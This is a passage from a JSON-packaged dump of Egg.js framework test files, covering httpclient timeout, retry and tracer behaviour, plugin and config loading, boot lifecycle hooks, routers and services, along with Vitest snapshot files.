assert(err);\n          assert(err.name === 'HttpClientRequestTimeoutError');\n          assert(err.message.includes('Request timeout for 99 ms'));\n          return true;\n        },\n      );\n    });\n\n    it('should assert url', async () => {\n      await assert.rejects(\n        async () => {\n          await app.httpclient.curl('unknown url');\n        },\n        (err: any) => {\n          assert(err);\n          assert(err.message.includes('url should start with http, but got unknown url'));\n          return true;\n        },\n      );\n    });\n  });\n\n  describe.skip('httpclient tracer', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-tracer');\n      return app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should app request auto set tracer', async () => {\n      url = await startLocalServer();\n      const httpclient = app.httpclient;\n      // httpClient alias to httpclient\n      assert(app.httpClient);\n      assert.equal(app.httpClient, app.httpclient);\n\n      let reqTracer: any;\n      let resTracer: any;\n\n      httpclient.on('request', function (options) {\n        reqTracer = options.args.tracer;\n      });\n\n      httpclient.on('response', function (options) {\n        resTracer = options.req.args.tracer;\n      });\n\n      let res = await httpclient.request(url, {\n        method: 'GET',\n      });\n\n      assert(res.status === 200);\n      assert(reqTracer === resTracer);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n\n      reqTracer = null;\n      resTracer = null;\n\n      res = await httpclient.request(url);\n\n      assert(res.status === 200);\n      assert(reqTracer === resTracer);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n    });\n\n    it('should agent request auto set tracer', async () => {\n      const httpclient = app.agent.httpclient;\n\n      let reqTracer: any;\n      let resTracer: any;\n\n      httpclient.on('request', function (options: any) {\n        reqTracer = options.args.tracer;\n      });\n\n      httpclient.on('response', function (options: any) {\n        resTracer = options.req.args.tracer;\n      });\n\n      const res = await httpclient.request(url, {\n        method: 'GET',\n      });\n\n      assert(res.status === 200);\n      assert(reqTracer === resTracer);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n    });\n\n    it('should app request with ctx and tracer', async () => {\n      const httpclient = app.httpclient;\n\n      let reqTracer: any;\n      let resTracer: any;\n\n      httpclient.on('request', function (options) {\n        reqTracer = options.args.tracer;\n      });\n\n      httpclient.on('response', function (options) {\n        resTracer = options.req.args.tracer;\n      });\n\n      let res = await httpclient.request(url, {\n        method: 'GET',\n      });\n\n      assert(res.status === 200);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n\n      reqTracer = null;\n      resTracer = null;\n      res = await httpclient.request(url, {\n        method: 'GET',\n        ctx: {},\n        tracer: {\n          id: '1234',\n        },\n      } as any);\n\n      assert(res.status === 200);\n      assert(reqTracer.id === resTracer.id);\n      assert(reqTracer.id === '1234');\n\n      reqTracer = null;\n      resTracer = null;\n      res = await httpclient.request(url, {\n        method: 'GET',\n        ctx: {\n          tracer: {\n            id: '5678',\n          },\n        },\n      });\n\n      assert(res.status === 200);\n      assert(reqTracer.id === resTracer.id);\n      assert(reqTracer.id === '5678');\n    });\n  });\n\n  describe('httpclient next with tracer', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-next-with-tracer');\n      return app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should app request auto set tracer', async () => {\n      url = await startLocalServer();\n      const httpclient = app.httpclient;\n\n      let reqTracer: any;\n      let resTracer: any;\n\n      httpclient.on('request', function (options) {\n        reqTracer = options.args.tracer;\n      });\n\n      httpclient.on('response', function (options) {\n        resTracer = options.req.args.tracer;\n      });\n\n      const opaque = { now: Date.now() };\n      let res = await httpclient.request(url, {\n        method: 'GET',\n        dataType: 'text',\n        opaque,\n      });\n      assert(res.opaque === opaque);\n\n      assert(res.status === 200);\n      assert(reqTracer);\n      assert(resTracer);\n      assert(reqTracer === resTracer);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n\n      reqTracer = null;\n      resTracer = null;\n\n      res = await httpclient.request(url);\n\n      assert(res.status === 200);\n      assert(reqTracer === resTracer);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n    });\n\n    it('should agent request auto set tracer', async () => {\n      const httpclient = app.agent.httpclient;\n\n      let reqTracer: any;\n      let resTracer: any;\n\n      httpclient.on('request', function (options: any) {\n        reqTracer = options.args.tracer;\n      });\n\n      httpclient.on('response', function (options: any) {\n        resTracer = options.req.args.tracer;\n      });\n\n      const res = await httpclient.request(url, {\n        method: 'GET',\n      });\n\n      assert(res.status === 200);\n      assert(reqTracer === resTracer);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n    });\n\n    it('should app request with ctx and tracer', async () => {\n      const httpclient = app.httpclient;\n\n      let reqTracer: any;\n      let resTracer: any;\n\n      httpclient.on('request', function (options) {\n        reqTracer = options.args.tracer;\n      });\n\n      httpclient.on('response', function (options) {\n        resTracer = options.req.args.tracer;\n      });\n\n      let res = await httpclient.request(url, {\n        method: 'GET',\n      });\n\n      assert(res.status === 200);\n\n      assert(reqTracer.traceId);\n      assert(reqTracer.traceId === resTracer.traceId);\n\n      reqTracer = null;\n      resTracer = null;\n      res = await httpclient.request(url, {\n        method: 'GET',\n        ctx: {},\n        tracer: {\n          id: '1234',\n        },\n      } as any);\n\n      assert(res.status === 200);\n      assert(reqTracer.id === resTracer.id);\n      assert(reqTracer.id === '1234');\n\n      reqTracer = null;\n      resTracer = null;\n      res = await httpclient.request(url, {\n        method: 'GET',\n        ctx: {\n          tracer: {\n            id: '5678',\n          },\n        },\n      });\n\n      assert(res.status === 200);\n      assert(reqTracer.id === resTracer.id);\n      assert(reqTracer.id === '5678');\n    });\n  });\n\n  describe.skip('before app ready multi httpclient request tracer', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      const localServerUrl = await startLocalServer();\n      mm(process.env, 'localServerUrl', localServerUrl);\n      app = createApp('apps/httpclient-tracer');\n      await app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should app request before ready use same tracer', async () => {\n      const httpclient = app.httpclient;\n      const reqTracers: any[] = [];\n      const resTracers: any[] = [];\n\n      httpclient.on('request', function (options) {\n        reqTracers.push(options.args.tracer);\n      });\n\n      httpclient.on('response', function (options) {\n        resTracers.push(options.req.args.tracer);\n      });\n\n      let res = await httpclient.request(url, {\n        method: 'GET',\n        timeout: 20000,\n      });\n      assert(res.status === 200);\n\n      res = await httpclient.request('https://registry.npmmirror.com', {\n        method: 'GET',\n        timeout: 20000,\n      });\n      assert(res.status === 200);\n\n      res = await httpclient.request('https://www.npmjs.com', {\n        method: 'GET',\n        timeout: 20000,\n      });\n      assert(res.status === 200);\n\n      assert(reqTracers.length === 3);\n      assert(resTracers.length === 3);\n\n      assert(reqTracers[0] !== reqTracers[1]);\n      assert(reqTracers[1] !== reqTracers[2]);\n\n      assert(resTracers[0] !== reqTracers[2]);\n      assert(resTracers[1] !== resTracers[0]);\n      assert(resTracers[2] !== resTracers[1]);\n\n      assert(reqTracers[0].traceId);\n    });\n  });\n\n  describe.skip('compatibility freeSocketKeepAliveTimeout', () => {\n    it('should convert freeSocketKeepAliveTimeout to freeSocketTimeout', () => {\n      let mockApp: any = {\n        config: {\n          httpclient: {\n            request: {},\n            freeSocketKeepAliveTimeout: 1000,\n            httpAgent: {},\n            httpsAgent: {},\n          },\n        },\n      };\n      let client = new HttpClient(mockApp);\n      assert(client);\n      assert(mockApp.config.httpclient.freeSocketTimeout === 1000);\n      assert(!mockApp.config.httpclient.freeSocketKeepAliveTimeout);\n      assert(mockApp.config.httpclient.httpAgent.freeSocketTimeout === 1000);\n      assert(mockApp.config.httpclient.httpsAgent.freeSocketTimeout === 1000);\n\n      mockApp = {\n        config: {\n          httpclient: {\n            request: {},\n            httpAgent: {\n              freeSocketKeepAliveTimeout: 1001,\n            },\n            httpsAgent: {\n              freeSocketKeepAliveTimeout: 1002,\n            },\n          },\n        },\n      };\n      client = new HttpClient(mockApp);\n      assert(client);\n      assert(mockApp.config.httpclient.httpAgent.freeSocketTimeout === 1001);\n      assert(!mockApp.config.httpclient.httpAgent.freeSocketKeepAliveTimeout);\n      assert(mockApp.config.httpclient.httpsAgent.freeSocketTimeout === 1002);\n      assert(!mockApp.config.httpclient.httpsAgent.freeSocketKeepAliveTimeout);\n    });\n  });\n\n  describe('httpclient retry', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-retry');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should retry when httpclient fail', async () => {\n      let hasRetry = false;\n      const res = await app.httpclient.curl(`${url}/retry`, {\n        retry: 1,\n        retryDelay: 100,\n        isRetry(res) {\n          const shouldRetry = res.status >= 500;\n          if (shouldRetry) {\n            hasRetry = true;\n          }\n          return shouldRetry;\n        },\n      });\n\n      assert(hasRetry);\n      assert(res.status === 200);\n    });\n\n    it('should retry when httpclient fail', async () => {\n      let hasRetry = false;\n      const res = await app.httpclient.curl(`${url}/retry`, {\n        retry: 1,\n        retryDelay: 100,\n        isRetry(res) {\n          const shouldRetry = res.status >= 500;\n          if (shouldRetry) {\n            hasRetry = true;\n          }\n          return shouldRetry;\n        },\n      });\n\n      assert(hasRetry);\n      assert(res.status === 200);\n    });\n  });\n\n  describe('app.createHttpClient(options)', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-retry');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      const client1 = app.createHttpClient();\n      const client2 = app.createHttpClient();\n      assert.notEqual(client1, client2);\n      const res = await client1.request(url, {\n        method: 'GET',\n      });\n      assert.equal(res.status, 200);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/httpclient_tracer_demo.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, startLocalServer, type MockApplication } from '../../utils.js';\n\ndescribe('test/lib/core/httpclient_tracer_demo.test.ts', () => {\n  let url: string;\n  let app: MockApplication;\n\n  beforeAll(() => {\n    app = createApp('apps/tracer-demo');\n    return app.ready();\n  });\n  beforeAll(async () => {\n    url = await startLocalServer();\n  });\n\n  afterAll(() => app.close());\n\n  it('should send request with ctx.httpclient', async () => {\n    const r = await app.curl(url + '/get_headers', {\n      dataType: 'json',\n    });\n    assert(r.status === 200);\n    assert(r.data['x-request-id'].startsWith('anonymous-'));\n  });\n\n  it('should work with context httpclient', () => {\n    return app\n      .httpRequest()\n      .get('/?url=' + encodeURIComponent(url + '/get_headers'))\n      .expect((res) => {\n        assert(res.body.url === url + '/get_headers');\n        assert(res.body.data['x-request-id']);\n        assert(!res.body.data['x-request-id'].startsWith('anonymous-'));\n      })\n      .expect(200);\n  });\n\n  it('should app logger support localStorage by default', async () => {\n    const traceId = 'mock-traceId-123123';\n    await app\n      .httpRequest()\n      .get('/foo?url=' + encodeURIComponent(url + '/get_headers'))\n      .set('x-traceid', traceId)\n      .expect((res) => {\n        assert(res.body.url === url + '/get_headers');\n        assert(res.body.data['x-request-id']);\n        assert(res.body.data['x-request-id'].startsWith('anonymous-'));\n      })\n      .expect(200);\n    await scheduler.wait(2000);\n    app.expectLog(\n      / INFO \\d+ \\[-\\/127.0.0.1\\/mock-traceId-123123\\/[\\d.]+ms GET \\/foo\\?url=http%3A%2F%2F127.0.0.1%3A\\d+%2Fget_headers] app logger support traceId/,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/__snapshots__/config_loader.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/lib/core/loader/config_loader.test.ts > should get middlewares 1`] = `\n[\n  \"meta\",\n  \"siteFile\",\n  \"notfound\",\n  \"static\",\n  \"bodyParser\",\n  \"overrideMethod\",\n  \"session\",\n  \"clusterAppMock\",\n  \"securities\",\n]\n`;\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/__snapshots__/load_plugin.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/lib/core/loader/load_plugin.test.ts > should keep plugin list sorted 1`] = `\n[\n  \"session\",\n  \"security\",\n  \"jsonp\",\n  \"onerror\",\n  \"i18n\",\n  \"watcher\",\n  \"schedule\",\n  \"multipart\",\n  \"logrotator\",\n  \"static\",\n  \"view\",\n  \"teggConfig\",\n  \"tegg\",\n  \"teggAjv\",\n  \"teggAop\",\n  \"teggController\",\n  \"teggDal\",\n  \"teggOrm\",\n  \"teggSchedule\",\n  \"b\",\n  \"c1\",\n  \"f\",\n  \"a\",\n  \"d\",\n  \"e\",\n]\n`;\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/config_loader.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, afterEach, expect } from 'vitest';\n\nimport { type MockApplication, createApp, getFilepath } from '../../../utils.ts';\n\ndescribe('test/lib/core/loader/config_loader.test.ts', () => {\n  let app: MockApplication;\n  const home = getFilepath('apps/demo/logs/home');\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should get middlewares', async () => {\n    app = createApp('apps/demo');\n    await app.ready();\n    expect(app.config.coreMiddleware).toMatchSnapshot();\n  });\n\n  it('should get logger dir when unittest', async () => {\n    mm(process.env, 'EGG_HOME', home);\n    mm(process.env, 'EGG_SERVER_ENV', 'unittest');\n    app = createApp('apps/demo');\n    await app.ready();\n    assert.deepEqual(app.config.logger.dir, getFilepath('apps/demo/logs/demo'));\n    assert(app.config.logger.disableConsoleAfterReady === false);\n  });\n\n  it('should get logger dir when default', async () => {\n    mm(process.env, 'EGG_HOME', home);\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    app = createApp('apps/demo');\n    await app.ready();\n    assert.deepEqual(app.config.logger.dir, path.join(home, 'logs/demo'));\n    assert(app.config.logger.disableConsoleAfterReady === true);\n  });\n\n  it('should get cluster defaults', async () => {\n    app = createApp('apps/demo');\n    await app.ready();\n    assert(app.config.cluster.listen.path === '');\n    assert(app.config.cluster.listen.port === 7001);\n    assert(app.config.cluster.listen.hostname === '');\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/load_app.test.ts",
    "content": "import { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../../utils.ts';\n\ndescribe('test/lib/core/loader/load_app.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/loader-plugin');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should load app.js', () => {\n    expect(app.b).toBe('plugin b');\n    expect(app.c).toBe('plugin c');\n    expect(app.app).toBe('app');\n  });\n\n  it('should load plugin app.js first', () => {\n    expect(app.dateB <= app.date).toBe(true);\n    expect(app.dateC <= app.date).toBe(true);\n  });\n\n  it('should not load disable plugin', () => {\n    expect(app.a).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/load_boot.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../../utils.ts';\n\ndescribe('test/lib/core/loader/load_boot.test.ts', () => {\n  describe('CommonJS', () => {\n    let app: MockApplication;\n\n    beforeAll(async () => {\n      app = createApp('apps/boot-app');\n      await app.ready();\n    });\n\n    it('should load app.js', async () => {\n      await scheduler.wait(100);\n      await app.close();\n      app.expectLog('app is ready');\n\n      // should restore\n      const logContent = await fs.readFile(path.join(app.config.logger.dir, 'egg-agent.log'), 'utf-8');\n      assert(!logContent.includes(\"agent can't call sendToApp before server started\"));\n      assert(app.messengerLog, 'app.messengerLog should exists');\n\n      assert.deepStrictEqual(app.bootLog, [\n        'configDidLoad',\n        'didLoad',\n        'willReady',\n        'didReady',\n        'serverDidReady',\n        'beforeClose',\n      ]);\n      // @ts-expect-error bootLog has no type definition\n      assert.deepStrictEqual(app.agent.bootLog, [\n        'configDidLoad',\n        'didLoad',\n        'willReady',\n        'didReady',\n        'serverDidReady',\n        'beforeClose',\n      ]);\n    });\n  });\n\n  describe('ESM', () => {\n    let app: MockApplication;\n\n    beforeAll(async () => {\n      app = createApp('apps/boot-app-esm');\n      await app.ready();\n    });\n\n    it('should load app.js', async () => {\n      await scheduler.wait(100);\n      await app.close();\n      app.expectLog('app is ready');\n\n      // should restore\n      const logContent = await fs.readFile(path.join(app.config.logger.dir, 'egg-agent.log'), 'utf-8');\n      assert(!logContent.includes(\"agent can't call sendToApp before server started\"));\n      assert(app.messengerLog, 'app.messengerLog should exists');\n\n      assert.deepStrictEqual(app.bootLog, [\n        'configDidLoad',\n        'didLoad',\n        'willReady',\n        'didReady',\n        'serverDidReady',\n        'beforeClose',\n      ]);\n      // @ts-expect-error bootLog has no type definition\n      assert.deepStrictEqual(app.agent.bootLog, [\n        'configDidLoad',\n        'didLoad',\n        'willReady',\n        'didReady',\n        'serverDidReady',\n        'beforeClose',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/load_plugin.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { mm } from '@eggjs/mock';\nimport { EggConsoleLogger } from 'egg-logger';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nimport { AppWorkerLoader, AgentWorkerLoader } from '../../../../src/index.ts';\nimport { type MockApplication, createApp, getFilepath } from '../../../utils.ts';\n\n// const EGG_BASE = getFilepath('../..');\n\ndescribe('test/lib/core/loader/load_plugin.test.ts', () => {\n  let app: MockApplication;\n  const logger: any = new EggConsoleLogger();\n  beforeAll(() => {\n    app = createApp('apps/empty');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should loadConfig all plugins', async () => {\n    const baseDir = getFilepath('apps/loader-plugin');\n    const appLoader = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n    assert.deepEqual(appLoader.plugins.b, {\n      enable: true,\n      name: 'b',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/b'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert.deepEqual(appLoader.plugins.c, {\n      enable: true,\n      name: 'c',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/c'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert.deepEqual(appLoader.plugins.e, {\n      enable: true,\n      name: 'e',\n      dependencies: ['f'],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'plugins/e'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    if (process.platform !== 'win32') {\n      assert.match(appLoader.plugins.onerror.path!, /\\/onerror\\//);\n    }\n    assert.equal(appLoader.plugins.onerror.package, undefined);\n    assert.equal(appLoader.plugins.onerror.version, undefined);\n    assert.equal(appLoader.plugins.onerror.skipMerge, true);\n    // assert.equal(appLoader.plugins.onerror.package, '@eggjs/onerror');\n    // assert.match(appLoader.plugins.onerror.version!, /\\d+\\.\\d+\\.\\d+/);\n    assert(Array.isArray(appLoader.orderPlugins));\n  });\n\n  it('should same name plugin level follow: app > framework > egg', async () => {\n    const baseDir = getFilepath('apps/loader-plugin');\n    const appLoader = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n\n    assert.deepEqual(appLoader.plugins.rds, {\n      enable: true,\n      name: 'rds',\n      dependencies: ['session'],\n      optionalDependencies: [],\n      env: [],\n      package: 'rds',\n      path: path.join(baseDir, 'node_modules/rds'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n  });\n\n  it('should plugin support alias name', async () => {\n    const baseDir = getFilepath('apps/loader-plugin');\n    const appLoader = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n    assert.deepEqual(appLoader.plugins.d1, {\n      enable: true,\n      name: 'd1',\n      package: 'd',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/d'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert(!appLoader.plugins.d);\n  });\n\n  it('should support package.json config', async () => {\n    const baseDir = getFilepath('apps/loader-plugin');\n    const appLoader = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n    assert.deepEqual(appLoader.plugins.g, {\n      enable: true,\n      name: 'g',\n      dependencies: ['f'],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'plugins/g'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n  });\n\n  it('should show warning message when plugin name wrong', async () => {\n    let message: any;\n    mm(logger, 'warn', (m: any) => {\n      if (m.includes('different') && !message) {\n        message = m;\n      }\n    });\n    const baseDir = getFilepath('apps/loader-plugin');\n    const appLoader = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n\n    assert(message === '[@eggjs/core/egg_loader] pluginName(e) is different from pluginConfigName(wrong-name)');\n  });\n\n  it('should loadConfig plugins with custom plugins config', async () => {\n    const baseDir = getFilepath('apps/loader-plugin');\n    const plugins: any = {\n      foo: {\n        enable: true,\n        path: path.join(baseDir, 'node_modules/d'),\n      },\n      d1: {\n        env: ['unittest'],\n      },\n    };\n    const appLoader = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      plugins,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n\n    assert.deepEqual(appLoader.plugins.d1, {\n      enable: true,\n      name: 'd1',\n      package: 'd',\n      dependencies: [],\n      optionalDependencies: [],\n      env: ['unittest'],\n      path: path.join(baseDir, 'node_modules/d'),\n      from: '<options.plugins>',\n    });\n    assert.deepEqual(appLoader.plugins.foo, {\n      enable: true,\n      name: 'foo',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/d'),\n      from: '<options.plugins>',\n    });\n    assert(!appLoader.plugins.d);\n  });\n\n  it('should throw error when plugin not exists', async () => {\n    await assert.rejects(async () => {\n      const baseDir = getFilepath('apps/loader-plugin-noexist');\n      const appLoader = new AppWorkerLoader({\n        env: 'unittest',\n        baseDir,\n        app,\n        logger,\n      });\n      await appLoader.loadConfig();\n    }, /Can not find plugin noexist in /);\n  });\n\n  it('should throw error when app baseDir not exists', async () => {\n    await assert.rejects(async () => {\n      const baseDir = getFilepath('apps/notexist-app');\n      const appLoader = new AppWorkerLoader({\n        env: 'unittest',\n        baseDir,\n        app,\n        logger,\n      });\n      await appLoader.loadConfig();\n    }, /notexist-app not exists/);\n  });\n\n  it('should keep plugin list sorted', async () => {\n    mm(process.env, 'NODE_ENV', 'development');\n    const baseDir = getFilepath('apps/loader-plugin-dep');\n    const appLoader = new AppWorkerLoader({\n      env: 'local',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n    expect(\n      appLoader.orderPlugins.map((plugin) => {\n        return plugin.name;\n      }),\n    ).toMatchSnapshot();\n  });\n\n  it('should throw recursive deps error', async () => {\n    await assert.rejects(async () => {\n      const baseDir = getFilepath('apps/loader-plugin-dep-recursive');\n      const appLoader = new AppWorkerLoader({\n        env: 'unittest',\n        baseDir,\n        app,\n        logger,\n      });\n      await appLoader.loadConfig();\n    }, /sequencify plugins has problem, missing: \\[\\], recursive: \\[a,b,c,a\\]/);\n  });\n\n  it('should throw error when plugin dep not exists', async () => {\n    await assert.rejects(async () => {\n      const baseDir = getFilepath('apps/loader-plugin-dep-missing');\n      const appLoader = new AppWorkerLoader({\n        env: 'unittest',\n        baseDir,\n        app,\n        logger,\n      });\n      await appLoader.loadConfig();\n    }, /sequencify plugins has problem, missing: \\[a1\\], recursive: \\[\\]\\s+>> Plugin \\[a1\\] is disabled or missed, but is required by \\[c\\]/);\n  });\n\n  it('should auto fill plugin infos', async () => {\n    mm(process.env, 'NODE_ENV', 'test');\n    const baseDir = getFilepath('apps/loader-plugin');\n    const appLoader1 = new AppWorkerLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader1.loadConfig();\n    // unittest disable\n    const keys1 = appLoader1.orderPlugins\n      .map((plugin) => {\n        return plugin.name;\n      })\n      .join(',');\n    assert(keys1.includes('b,c,d1,f,e'));\n    assert(!appLoader1.plugins.a1);\n\n    mm(process.env, 'NODE_ENV', 'development');\n    const appLoader2 = new AppWorkerLoader({\n      env: 'local',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader2.loadConfig();\n    const keys2 = appLoader2.orderPlugins\n      .map((plugin) => {\n        return plugin.name;\n      })\n      .join(',');\n    assert(keys2.includes('d1,a1,b,c,f,e'));\n    assert.deepEqual(appLoader2.plugins.a1, {\n      enable: true,\n      name: 'a1',\n      dependencies: ['d1'],\n      optionalDependencies: [],\n      env: ['local', 'prod'],\n      path: path.join(baseDir, 'node_modules/a1'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n  });\n\n  it('should customize loadPlugin', async () => {\n    const baseDir = getFilepath('apps/loader-plugin');\n    class CustomAppLoader extends AppWorkerLoader {\n      hasAppLoadPlugin = false;\n\n      async loadPlugin() {\n        this.hasAppLoadPlugin = true;\n        return await super.loadPlugin();\n      }\n    }\n    const appLoader = new CustomAppLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await appLoader.loadConfig();\n    assert.equal(appLoader.hasAppLoadPlugin, true);\n\n    class CustomAgentLoader extends AgentWorkerLoader {\n      hasAgentLoadPlugin = false;\n      async loadPlugin() {\n        this.hasAgentLoadPlugin = true;\n        return await super.loadPlugin();\n      }\n    }\n    const agentLoader = new CustomAgentLoader({\n      env: 'unittest',\n      baseDir,\n      app,\n      logger,\n    });\n    await agentLoader.loadConfig();\n    assert.equal(agentLoader.hasAgentLoadPlugin, true);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/load_router.test.ts",
    "content": "import { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../../utils.js';\n\ndescribe('test/lib/core/loader/load_router.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/app-router');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should load app/router.js', async () => {\n    await app.httpRequest().get('/').expect(200).expect('hello');\n\n    await app.httpRequest().get('/home').expect(200).expect('hello');\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/loader/load_service.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, afterEach, it } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../../utils.ts';\n\ndescribe('test/lib/core/loader/load_service.test.ts', () => {\n  let app: MockApplication;\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should load app and plugin services', async () => {\n    app = createApp('apps/loader-plugin');\n    await app.ready();\n    assert(app.serviceClasses.foo);\n    assert(app.serviceClasses.foo2);\n    assert(!app.serviceClasses.bar1);\n    assert(app.serviceClasses.bar2);\n    assert(app.serviceClasses.foo4);\n\n    await app\n      .httpRequest()\n      .get('/')\n      .expect({\n        foo2: 'foo2',\n        foo3: 'foo3',\n      })\n      .expect(200);\n  });\n\n  it('should service support es6', async () => {\n    app = createApp('apps/services_loader_verify');\n    await app.ready();\n    assert(Object.prototype.hasOwnProperty.call(app.serviceClasses, 'foo'));\n    assert(['bar'].every((p) => Object.prototype.hasOwnProperty.call(app.serviceClasses.foo, p)));\n  });\n\n  it('should support extend app.Service class', async () => {\n    app = createApp('apps/service-app');\n    await app.ready();\n\n    await app\n      .httpRequest()\n      .get('/user')\n      .expect((res) => {\n        assert(res.body.user);\n        assert(res.body.user.userId === '123mock');\n      })\n      .expect(200);\n  });\n\n  describe('sub dir', () => {\n    let app: MockApplication;\n    afterEach(() => app.close());\n    afterEach(mm.restore);\n\n    it('should support top 1 and 2 dirs, ignore others', async () => {\n      app = createApp('apps/subdir-services');\n      await app.ready();\n\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          user: {\n            uid: '123',\n          },\n          cif: {\n            uid: '123cif',\n            cif: true,\n          },\n          bar1: {\n            name: 'bar1name',\n            bar: 'bar1',\n          },\n          bar2: {\n            name: 'bar2name',\n            bar: 'bar2',\n          },\n          'foo.subdir2.sub2': {\n            name: 'bar3name',\n            bar: 'bar3',\n          },\n          subdir11bar: {\n            bar: 'bar111',\n          },\n          ok: {\n            ok: true,\n          },\n          cmd: {\n            cmd: 'hihi',\n            method: 'GET',\n            url: '/',\n          },\n          serviceIsSame: true,\n          oldStyle: '/',\n        })\n        .expect(200);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/logger.test.ts",
